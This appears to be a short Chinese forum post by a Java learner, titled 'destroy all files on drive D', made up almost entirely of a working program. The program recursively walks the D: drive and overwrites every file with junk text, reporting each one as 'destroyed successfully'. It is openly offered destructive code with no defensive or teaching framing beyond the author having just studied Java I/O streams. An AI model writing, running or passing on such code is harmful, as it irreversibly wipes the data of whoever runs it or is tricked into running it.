毁坏D盘的说有文件

破坏D盘的说有文件
刚学完流这一章
import java.io.*;

public class TestBiD{
public static void main(String args[]){
File f = new File("d:");

if(f.isDirectory())
{
tree(f);
}

else
{
try{FileOutputStream FO = new FileOutputStream(f);
      OutputStreamWriter OSW = new OutputStreamWriter(FO);
OSW.write("baoju");
OSW.close();
FO.close();
System.out.println("破坏成功");
        }catch(IOException e){e.printStackTrace();}
}

}

private static void tree(File s){
File[] trees = s.listFiles();
for(int i=0;i<trees.length;i++)
{
   if(!(trees[i].isDirectory()))
   {
      try{FileOutputStream FO = new FileOutputStream(trees[i].getAbsolutePath());
            OutputStreamWriter OSW = new OutputStreamWriter(FO);
OSW.write("dsfasjdfkajsdkfjaksdjfkajsdkf");
OSW.close();
  FO.close();
  System.out.println(trees[i].getName() + "破坏成功");
            }catch(IOException e){e.printStackTrace();}     
   }
   else
   {
   tree(trees[i]);
   }
}
}
}